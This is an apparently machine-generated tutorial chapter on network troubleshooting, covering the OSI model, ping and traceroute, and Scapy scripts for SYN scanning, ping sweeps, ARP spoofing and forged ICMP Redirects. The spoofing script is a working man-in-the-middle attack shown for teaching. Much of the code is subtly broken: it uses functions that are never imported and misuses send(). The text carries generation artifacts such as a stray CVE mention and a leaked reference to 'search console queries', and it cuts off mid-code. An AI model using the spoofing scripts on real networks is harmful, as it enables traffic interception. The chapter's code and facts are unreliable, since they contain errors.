Supplemental 43: Network Troubleshooting Methodology: OSI to Scapy

Author: Patrick Luan de Mattos
Category: network-l1
Level: Intermediate
Generated: 2026-04-19T00:31:52.422Z

SUPPLEMENTAL CHAPTER

• Serial: 43
• Title: Network Troubleshooting Methodology: OSI to Scapy
• Focus: structured troubleshooting, OSI top-down/bottom-up, ping/traceroute analysis, Scapy verify
• Level: Intermediate

Network Troubleshooting Methodology: OSI to Scapy

In the intricate world of network engineering, the ability to diagnose and resolve issues efficiently is paramount. This chapter delves into a structured approach to network troubleshooting, leveraging the foundational OSI model and progressing to the powerful capabilities of Scapy for in-depth analysis and verification. We will explore how to systematically isolate problems, from physical layer connectivity to application-layer interactions, and understand how tools like ping and traceroute provide critical insights. Finally, we will harness Scapy to move beyond passive observation and actively probe network behavior, enabling precise identification of complex network anomalies and potential security vulnerabilities.

The landscape of network security is constantly evolving, with new zerosday vulnerabilities and exploits emerging regularly. Understanding how to troubleshoot network issues effectively is a core competency for cybersecurity professionals. This chapter will equip you with the methodologies to not only fix connectivity problems but also to identify subtle network behaviors that could indicate a compromise or misconfiguration. While the provided search console queries touch on specific CVEs and emerging technologies, our focus here is on the process of troubleshooting, a skill applicable to any network environment, regardless of the specific hardware or software involved. The principles discussed here are fundamental to understanding and mitigating risks associated with unknown exploits, and in some cases, even understanding how a cve-2026-5281 exploit might manifest itself on a network.

The OSI Model: A Framework for Network Troubleshooting

The Open Systems Interconnection (OSI) model provides a conceptual framework that divides network communication into seven distinct layers. Each layer has specific responsibilities, and understanding these layers is crucial for isolating the root cause of network problems. When troubleshooting, we can adopt a top-down or bottom-up approach, systematically moving through the layers to pinpoint the issue.

The Seven Layers of the OSI Model:

1. Physical Layer (Layer 1): Deals with the physical transmission of raw bits over a medium (e.g., cables, connectors, radio frequencies).
2. Data Link Layer (Layer 2): Handles node-to-node data transfer and error detection/correction on a physical link (e.g., MAC addresses, Ethernet frames, VLANs).
3. Network Layer (Layer 3): Responsible for logical addressing and routing of packets across networks (e.g., IP addresses, routers, IP packets).
4. Transport Layer (Layer 4): Provides reliable or unreliable data transfer between end systems, managing segmentation, reassembly, and flow control (e.g., TCP, UDP, ports).
5. Session Layer (Layer 5): Manages communication sessions between applications, including establishing, managing, and terminating connections.
6. Presentation Layer (Layer 6): Translates data between the application layer and the network, handling data formatting, encryption, and compression.
7. Application Layer (Layer 7): Provides network services directly to end-user applications (e.g., HTTP, FTP, DNS, SMTP).

OSI Top-Down Troubleshooting Approach

The top-down approach starts at the Application Layer (Layer 7) and moves downwards. This is often the most intuitive approach when a user reports an application-specific problem.

Steps:

1. Application Layer (Layer 7):
   • Symptom: "I can't access the website."
   • Verification:
     • Is the application running correctly?
     • Are the application's configurations correct?
     • Can you access other applications or services?
     • Check application logs for errors.
2. Presentation Layer (Layer 6):
   • Symptom: Data is not being displayed correctly, or there are encryption/decryption issues.
   • Verification:
     • Check for SSL/TLS certificate issues.
     • Ensure data encoding/decoding is consistent.
3. Session Layer (Layer 5):
   • Symptom: Communication sessions are being dropped or are unable to be established.
   • Verification:
     • Check session timeouts.
     • Verify authentication and authorization mechanisms.
4. Transport Layer (Layer 4):
   • Symptom: Connectivity issues, slow performance, or dropped connections for specific services.
   • Verification:
     • Ping: Test basic reachability (ICMP Echo Request/Reply).
     • Telnet/Netcat: Test specific port connectivity (e.g., telnet example.com 80).
     • Check firewall rules for port blocking.
     • Are TCP handshakes completing? Are UDP packets being received?
5. Network Layer (Layer 3):
   • Symptom: Cannot reach hosts on different subnets or networks.
   • Verification:
     • Ping: Test reachability to the IP address.
     • Traceroute/Pathping: Identify the path packets are taking and where they are stopping.
     • Check IP addressing, subnet masks, and default gateway configurations.
     • Verify routing tables on routers.
6. Data Link Layer (Layer 2):
   • Symptom: Cannot reach hosts on the same subnet, or intermittent connectivity.
   • Verification:
     • Check MAC address tables on switches.
     • Verify VLAN configurations.
     • Check for network loops.
     • Ensure physical connections are secure and appropriate for the medium.
7. Physical Layer (Layer 1):
   • Symptom: No connectivity at all, intermittent drops, or slow speeds.
   • Verification:
     • Check physical cables for damage, correct termination, and proper connections.
     • Verify link lights on network interfaces and switches.
     • Test with a known good cable.
     • Check for electromagnetic interference.

OSI Bottom-Up Troubleshooting Approach

The bottom-up approach starts at the Physical Layer (Layer 1) and moves upwards. This is useful when there is a complete loss of connectivity or when a problem seems to affect multiple applications.

Steps:

1. Physical Layer (Layer 1): Ensure all physical connections are sound, cables are good, and link lights are active.
2. Data Link Layer (Layer 2): Verify MAC addresses, switch configurations, and that devices are on the correct VLANs.
3. Network Layer (Layer 3): Confirm IP addressing, subnet masks, default gateways, and routing.
4. Transport Layer (Layer 4): Test port connectivity and check for firewall interference.
5. Session Layer (Layer 5): Examine session establishment and management.
6. Presentation Layer (Layer 6): Investigate data translation and encryption issues.
7. Application Layer (Layer 7): Finally, check application-specific configurations and logs.

Choosing the Right Approach: The top-down approach is generally preferred for user-reported application issues, while the bottom-up approach is better for widespread connectivity failures. Often, a combination of both is necessary, starting with a quick check at the physical layer and then moving up or down as needed.

Essential Network Troubleshooting Tools

Beyond the OSI model, specific tools are indispensable for diagnosing network issues.

ping: The First Line of Defense

The ping utility (Packet Internet Groper) is a fundamental tool for testing network connectivity and measuring round-trip time for messages sent from a source host to a destination host. It uses the Internet Control Message Protocol (ICMP) Echo Request and Echo Reply messages.

Key Uses:

• Reachability Test: Determines if a host is alive and accessible on the network.
• Round-Trip Time (RTT) Measurement: Indicates latency between hosts, helping to diagnose slow network performance.
• Packet Loss Detection: Identifies if packets are being dropped along the path.

Example Usage (Linux/macOS):

ping google.com
ping 8.8.8.8

Example Output Analysis:

PING google.com (142.250.184.110) 56(84) bytes of data.
64 bytes from lhr48s24-in-f14.1e100.net (142.250.184.110): icmp_seq=1 ttl=118 time=15.2 ms
64 bytes from lhr48s24-in-f14.1e100.net (142.250.184.110): icmp_seq=2 ttl=118 time=14.9 ms
...
--- google.com ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 9002ms
rtt min/avg/max/mdev = 14.947/15.087/15.245/0.098 ms

• packets transmitted, received, packet loss: A crucial indicator. 0% loss is ideal. High packet loss points to congestion, faulty hardware, or misconfigurations.
• rtt min/avg/max/mdev: Shows the latency. High average or max RTT can indicate network congestion or distance.

Example Usage (Windows):

ping google.com
ping 8.8.8.8

Example Output Analysis:

Pinging google.com [142.250.184.110] with 32 bytes of data:
Reply from 142.250.184.110: bytes=32 time=15ms TTL=118
Reply from 142.250.184.110: bytes=32 time=14ms TTL=118
...

Ping statistics for 142.250.184.110:
    Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 14ms, Maximum = 15ms, Average = 14ms

Common ping Troubleshooting Scenarios:

• "Destination Host Unreachable": Indicates that a router along the path does not have a route to the destination network, or the local host's default gateway is misconfigured.
• "Request Timed Out": Suggests that the ICMP Echo Reply did not return within the expected time. This can be due to packet loss, firewall blocking, or the destination host being down.
• High Latency/Packet Loss: Points to network congestion, faulty network devices, or long physical distances.

Security Considerations: While ping is a diagnostic tool, it can also be used for reconnaissance. Excessive ping requests can be part of a denial-of-service (DoS) attack (e.g., ICMP flood). Firewalls often have rules to rate-limit or block ICMP traffic for security reasons.

traceroute / tracert: Mapping the Network Path

The traceroute (Linux/macOS) and tracert (Windows) utilities map the path that packets take from the source to the destination. They achieve this by sending packets with incrementally increasing Time-To-Live (TTL) values. Each router along the path decrements the TTL. When a router's TTL reaches zero, it sends back an ICMP "Time Exceeded" message to the source. traceroute uses these messages to identify each hop.

Key Uses:

• Identify Network Hops: Shows the sequence of routers packets traverse.
• Pinpoint Bottlenecks/Failures: Helps locate where packets are being dropped or delayed.
• Understand Routing: Provides insight into how traffic is being routed across networks.

Example Usage (Linux/macOS):

traceroute google.com
traceroute 8.8.8.8

Example Output Analysis (Linux/macOS):

traceroute to google.com (142.250.184.110), 30 hops max, 60 byte packets
 1  _gateway (192.168.1.1)  0.870 ms  0.780 ms  0.700 ms
 2  10.0.0.1 (10.0.0.1)  5.123 ms  5.000 ms  4.950 ms
 3  some-isp-router.net (x.x.x.x)  10.500 ms  11.000 ms  10.750 ms
 4  another-isp-router.net (y.y.y.y)  15.200 ms  15.000 ms  15.300 ms
...
10  lhr48s24-in-f14.1e100.net (142.250.184.110)  15.100 ms  14.900 ms  15.050 ms

• _gateway, 10.0.0.1, etc.: These are the IP addresses of the routers (hops) along the path.
• 0.870 ms: The round-trip time to reach that specific hop.
• 30 hops max: The maximum number of hops traceroute will attempt.
• * * *: If you see asterisks, it means that hop did not respond within the timeout period. This could indicate a firewall blocking ICMP "Time Exceeded" messages, a router that is overloaded, or a downed link.

Example Usage (Windows):

tracert google.com
tracert 8.8.8.8

Example Output Analysis (Windows):

Tracing route to google.com [142.250.184.110]
over a maximum of 30 hops:

  1    <1 ms    <1 ms    <1 ms  _gateway [192.168.1.1]
  2     5 ms     4 ms     5 ms  10.0.0.1
  3    10 ms    11 ms    10 ms  some-isp-router.net [x.x.x.x]
  4    15 ms    15 ms    15 ms  another-isp-router.net [y.y.y.y]
...
 10    15 ms    15 ms    15 ms  lhr48s24-in-f14.1e100.net [142.250.184.110]

Trace complete.

Common traceroute Troubleshooting Scenarios:

• High Latency at a Specific Hop: Indicates a bottleneck or slow link at that router.
• * * * at a Hop:
  • If it's the first hop, the default gateway might be down or misconfigured.
  • If it's an intermediate hop, the router might be configured to not send ICMP "Time Exceeded" messages (common for security reasons), or the router is down/unreachable.
  • If the traceroute stops completely after a certain hop, it means packets are not reaching further. This points to a routing issue or a failure at that point.
• Latency Increasing Significantly at a Hop: Suggests congestion or a slow link at that router.

Security Considerations: traceroute can reveal network topology and identify potential points of interest for attackers. Blocking ICMP "Time Exceeded" messages is a common security practice.

Scapy: The Packet Manipulation Powerhouse

While ping and traceroute provide valuable high-level insights, Scapy is a powerful Python library that allows you to craft, send, sniff, and dissect network packets. It's an indispensable tool for advanced network troubleshooting, security analysis, and network discovery. Scapy operates at a much lower level than ping or traceroute, giving you granular control over network traffic.

Installation:

pip install scapy

Basic Scapy Operations:

1. Crafting Packets: Scapy allows you to build packets layer by layer, specifying fields for each protocol.

   Example: Crafting an ICMP Echo Request (Ping)

   from scapy.all import IP, ICMP, send
   
   # Craft an IP packet
   ip_layer = IP(dst="8.8.8.8")
   
   # Craft an ICMP packet
   icmp_layer = ICMP()
   
   # Combine layers to form the full packet
   packet = ip_layer / icmp_layer
   
   # Send the packet and receive a response
   # verbose=False suppresses output, timeout sets the waiting time
   response = send(packet, verbose=False, timeout=1)
   
   if response:
       print("Ping successful!")
       # You can further analyze the response packet
       # print(response.summary())
   else:
       print("Ping failed.")

2. Sending and Receiving Packets: send() and sr() (send/receive) are used to transmit packets. sr() is particularly useful as it sends packets and captures their replies.

   Example: Sending a TCP SYN packet to check port 80

   from scapy.all import IP, TCP, sr1
   
   # Craft an IP packet
   ip_layer = IP(dst="scanme.nmap.org")
   
   # Craft a TCP packet with SYN flag set
   tcp_layer = TCP(dport=80, flags="S") # 'S' for SYN
   
   # Combine layers
   packet = ip_layer / tcp_layer
   
   # Send the packet and wait for the first answer
   # timeout=1 means wait for 1 second
   # verbose=0 means no output from sr1
   response = sr1(packet, timeout=1, verbose=0)
   
   if response:
       if response.haslayer(TCP):
           tcp_response = response.getlayer(TCP)
           if tcp_response.flags == 0x12:  # SYN-ACK (0x12 in hex)
               print(f"Port 80 is open on scanme.nmap.org")
               # To complete the TCP handshake, send an ACK
               # send_ack = IP(dst="scanme.nmap.org")/TCP(dport=80, flags="A", ack=tcp_response.seq + 1)
               # send(send_ack, verbose=0)
           elif tcp_response.flags == 0x14: # RST-ACK (0x14 in hex)
               print(f"Port 80 is closed on scanme.nmap.org")
           else:
               print(f"Received unexpected TCP flags: {tcp_response.flags}")
       else:
           print("Received a non-TCP response.")
   else:
       print("No response received (likely filtered by firewall or host is down).")

3. Sniffing Packets: sniff() allows you to capture network traffic.

   Example: Sniffing HTTP traffic

   from scapy.all import sniff, IP, TCP, HTTP
   
   def packet_callback(packet):
       if packet.haslayer(HTTP):
           print(f"HTTP Packet captured: {packet.summary()}")
           # You can further dissect the HTTP layer
           # print(packet[HTTP].fields)
   
   print("Starting HTTP packet sniffing...")
   # sniff(filter="tcp port 80", prn=packet_callback, count=10) # Filter for TCP port 80, capture 10 packets
   sniff(filter="port 80", prn=packet_callback, count=5) # Capture 5 packets on port 80
   print("Sniffing stopped.")

4. Dissecting Packets: Scapy automatically dissects packets into layers, allowing you to access individual fields.

   from scapy.all import IP, TCP, Ether
   
   # Example of dissecting a captured packet (assuming 'packet' is a captured packet object)
   # For demonstration, let's craft one
   crafted_packet = Ether(src="00:11:22:33:44:55", dst="AA:BB:CC:DD:EE:FF") / \
                    IP(src="192.168.1.100", dst="1.1.1.1") / \
                    TCP(sport=12345, dport=80, flags="S")
   
   print(crafted_packet.summary())
   print(f"Source MAC: {crafted_packet[Ether].src}")
   print(f"Destination IP: {crafted_packet[IP].dst}")
   print(f"TCP Flags: {crafted_packet[TCP].flags}")

Troubleshooting with Scapy: Advanced Techniques

Scapy empowers you to go beyond passive observation and actively test network behavior.

Verifying Network Services and Configurations

1. TCP Port Scanning:

While nmap is the go-to tool for port scanning, Scapy can be used for custom scanning or understanding the underlying mechanics.

from scapy.all import IP, TCP, sr1

def syn_scan(target_ip, port):
    """Performs a TCP SYN scan on a single port."""
    ip_layer = IP(dst=target_ip)
    tcp_layer = TCP(dport=port, flags="S")
    packet = ip_layer / tcp_layer

    response = sr1(packet, timeout=1, verbose=0)

    if response:
        if response.haslayer(TCP):
            tcp_response = response.getlayer(TCP)
            if tcp_response.flags == 0x12:  # SYN-ACK
                return "Open"
            elif tcp_response.flags == 0x14: # RST-ACK
                return "Closed"
            else:
                return f"Unexpected flags: {tcp_response.flags}"
        else:
            return "Non-TCP response"
    else:
        return "Filtered"

target = "scanme.nmap.org"
print(f"Scanning {target}...")
for port in range(20, 30): # Scan ports 20 through 29
    status = syn_scan(target, port)
    print(f"Port {port}: {status}")

Security Analysis: A successful SYN scan returning "Open" or "Closed" indicates that the target is responding. "Filtered" suggests a firewall is blocking the probes. This can be used to map open services and identify potential attack vectors.

2. ICMP Protocol Testing:

Beyond basic ping, Scapy can send various ICMP types.

from scapy.all import IP, ICMP, sr1

def icmp_ping_sweep(network_prefix):
    """Performs an ICMP ping sweep on a /24 network."""
    print(f"Performing ICMP ping sweep on {network_prefix}...")
    active_hosts = []
    for i in range(1, 255):
        target_ip = f"{network_prefix}.{i}"
        packet = IP(dst=target_ip) / ICMP()
        response = sr1(packet, timeout=0.5, verbose=0)

        if response:
            print(f"{target_ip} is UP")
            active_hosts.append(target_ip)
        # else:
        #     print(f"{target_ip} is DOWN") # Optional: uncomment to see down hosts
    return active_hosts

# Example: Scan the 192.168.1.0/24 network
# active_hosts = icmp_ping_sweep("192.168.1")
# print(f"\nActive hosts found: {active_hosts}")

Security Analysis: An ICMP ping sweep can quickly identify active hosts on a network. This is a common reconnaissance technique. If you detect unexpected active hosts, it could indicate unauthorized devices or a compromised system.

3. ARP Spoofing Detection/Simulation:

ARP spoofing (or ARP poisoning) is a man-in-the-middle attack where an attacker sends falsified ARP messages onto a local area network. This allows the attacker to intercept traffic between two parties. Scapy can be used to both detect and simulate this.

Simulating ARP Spoofing (for educational/testing purposes only):

import sys
import time
from scapy.all import Ether, ARP, send, sniff, IP, TCP

def get_mac(ip):
    """Gets the MAC address of a given IP address."""
    # Craft an ARP request
    arp_request = ARP(pdst=ip)
    # Craft an Ethernet frame
    ether_frame = Ether(dst="ff:ff:ff:ff:ff:ff") # Broadcast MAC address
    # Combine frames
    packet = ether_frame / arp_request
    # Send and receive the response, timeout=1, verbose=0
    answered_list = srp(packet, timeout=1, verbose=0)[0]

    if answered_list:
        return answered_list[0][1].hwsrc
    else:
        return None

def spoof(target_ip, fake_ip):
    """Spoofs the target IP by sending ARP replies."""
    target_mac = get_mac(target_ip)
    if target_mac:
        # Craft an ARP reply:
        # op=2 means ARP reply
        # pdst is the target IP we are spoofing
        # hwdst is the target MAC address
        # psrc is the IP address we are pretending to be (e.g., the router's IP)
        arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=fake_ip)
        # Send the ARP reply
        send(arp_response, verbose=False)
        # print("[+] Sending ARP response")
    else:
        print(f"[-] Could not get MAC address for {target_ip}")

def restore_arp(destination_ip, source_ip):
    """Restores the ARP table by sending correct ARP replies."""
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    if destination_mac and source_mac:
        # Send an ARP reply to the destination IP, with the correct source MAC and IP
        arp_response = ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
        send(arp_response, count=4, verbose=False) # Send multiple times for reliability
        print("[+] ARP table restored.")
    else:
        print("[-] Could not restore ARP table. MAC address not found.")

# Example usage (requires root/administrator privileges)
# target = "192.168.1.100" # IP of the victim machine
# gateway = "192.168.1.1"  # IP of the router
#
# try:
#     sent_packets_count = 0
#     while True:
#         spoof(target, gateway)  # Tell target that we are the gateway
#         spoof(gateway, target)  # Tell gateway that we are the target
#         sent_packets_count += 2
#         sys.stdout.write(f"\r[+] Packets sent: {sent_packets_count}")
#         sys.stdout.flush()
#         time.sleep(2) # Wait for 2 seconds before sending again
#
# except KeyboardInterrupt:
#     print("\n[+] Detected CTRL+C ... Resetting ARP tables...")
#     restore_arp(target, gateway)
#     restore_arp(gateway, target)
#     print("[+] Exiting.")

Security Analysis: Understanding ARP spoofing is critical for network security. This Scapy script demonstrates how an attacker could intercept traffic. In a real-world scenario, you would use packet sniffing to detect anomalous ARP traffic (e.g., multiple MAC addresses for the same IP, or ARP replies from unexpected sources).

4. Identifying Network Anomalies with Custom Probes:

Scapy allows you to craft specific probes to test for unusual network behaviors that might indicate misconfigurations or security issues.

Example: Checking for unexpected ICMP Redirects

ICMP Redirect messages are sent by routers to inform a host that there is a better route to a particular destination. While legitimate, they can be exploited if an attacker can send false redirects.

from scapy.all import IP, ICMP, sr1

def check_icmp_redirect(router_ip, destination_ip, better_route_ip):
    """Crafts and sends an ICMP Redirect probe."""
    print(f"Sending ICMP Redirect probe from {router_ip} to {destination_ip}...")
    # Craft the IP packet that would normally go to the destination
    ip_packet = IP(src=router_ip, dst=destination_ip)

    # Craft the ICMP Redirect message
    # ICMP type 5 is Redirect
    # ICMP code 1 is for "Host redirect"
    icmp_redirect = ICMP(type=5, code=1, gw=better_route_ip) # gw is the better gateway IP

    # Combine the IP packet that triggered the redirect with the redirect message
    # The redirect message contains the original IP packet's header
    packet = IP(src=router_ip, dst=destination_ip) / ICMP(type=5, code=1, gw=better_route_ip)

    # Send the probe and see if we get a response (though we expect the router to send it)
    # This is more about observing traffic than getting a direct response
    # A more effective test is to sniff traffic and look for unexpected redirects
    # For demonstration, we'll just craft and send.
    send(packet, verbose=False)
    print("Probe sent. Monitor network traffic for suspicious ICMP Redirects.")

# Example: Suppose router_ip is a router, destination_ip is a host, and better_route_ip is an attacker's IP
# check_icmp_redirect("192.168.1.1", "192.168.1.100", "10.10.10.10")

Security Analysis: Monitoring for unexpected ICMP Redirects can help detect attempts to manipulate routing tables and intercept traffic. If a host receives a redirect from a router it didn't expect, or if the better_route_ip is suspicious, it warrants investigation.

Troubleshooting Scenarios and Scapy Verification

Let's consider a common troubleshooting scenario and how Scapy can be used to verify the cause.

Scenario: A web server is intermittently unreachable.

Users report that the website hosted on webserver.example.com (IP: 192.168.1.50) is sometimes available and sometimes not.

Troubleshooting Steps:

1. Basic Connectivity (ping):

   ping 192.168.1.50

   • Observation: ping works consistently. This rules out basic IP reachability and physical/data link layer issues to the server itself.

2. Application Layer (curl or browser):

   curl http://192.168.1.50

   • Observation: Sometimes curl works, sometimes it times out. This points to an issue at the Transport Layer (TCP) or above, or intermittent network path issues.

3. Transport Layer (telnet or Scapy syn_scan):

   • Using telnet:

     telnet 192.168.1.50 80

     • Observation: telnet also exhibits intermittent success. This confirms the issue is likely with TCP port 80.

   • Using Scapy for detailed SYN scan:

     from scapy.all import IP, TCP, sr1
     
     def detailed_syn_scan(target_ip, port):
         """Performs a detailed TCP SYN scan and returns detailed status."""
         ip_layer = IP(dst=target_ip)
         tcp_layer = TCP(dport=port, flags="S")
         packet = ip_layer / tcp_layer
     
         response = sr1(packet, timeout=2, verbose=0) # Increased timeout for intermittent issues
     
         if response:
             if response.haslayer(TCP):
                 tcp_response = response.getlayer(TCP)
                 flags = tcp_response.flags
                 if flags == 0x12:  # SYN-ACK
                     return "Open (SYN-ACK received)"
                 elif flags == 0x14: # RST-ACK
                     return "Closed (RST-ACK received)"
                 else:
                     return f"Unexpected TCP flags: {flags}"
             elif response.haslayer(ICMP):
                 icmp_response = response.getlayer(ICMP)
                 return f"ICMP Error: Type={icmp_response.type}, Code={icmp_response.code}"
             else:
                 return "Non-TCP/ICMP response"
         else:
             return "No response (Filtered or host down)"
     
     target = "192.168.1.50"
     port = 80
     print(f"Performing detailed SYN scan on {target}:{port}...")
     for _ in range(5): # Try 5 times to catch intermittent issues
         status = detailed_syn_scan(target, port)
         print(f"Attempt {_ + 1}: Port {port} is {status}")
         time.sleep(1) # Wait a second between attempts

     Potential Scapy Observations and Interpretations:

     • "Open (SYN-ACK received)" consistently: The web server is responding correctly to TCP SYN packets. The issue might be higher up the stack (application layer).
     • "Filtered (No response)" intermittently: This suggests a firewall is intermittently blocking traffic to port 80. This could be a stateful firewall with connection limits, or a firewall experiencing load issues.
     • "ICMP Error: Type=3, Code=1" (Destination Unreachable - Host Prohibited): This often indicates a firewall blocking the connection.
     • "ICMP Error: Type=3, Code=3" (Destination Unreachable - Port Unreachable): This means the host is reachable, but port 80 is not open or is blocked by the host's firewall.
     • "Closed (RST-ACK received)" consistently: The web server is actively rejecting connections to port 80. This could be due to the web server not running or its firewall blocking.

4. Packet Capture (tcpdump or Scapy sniff):
   If firewalls are suspected, or to see the actual traffic flow, packet capture is invaluable.

   Using Scapy to capture traffic on the server's interface:

   from scapy.all import sniff, IP, TCP
   
   SERVER_IP = "192.168.1.50

This chapter is part of the "From Zero to Network Doctor" open textbook series. All examples are educational and use safe, lab-only environments.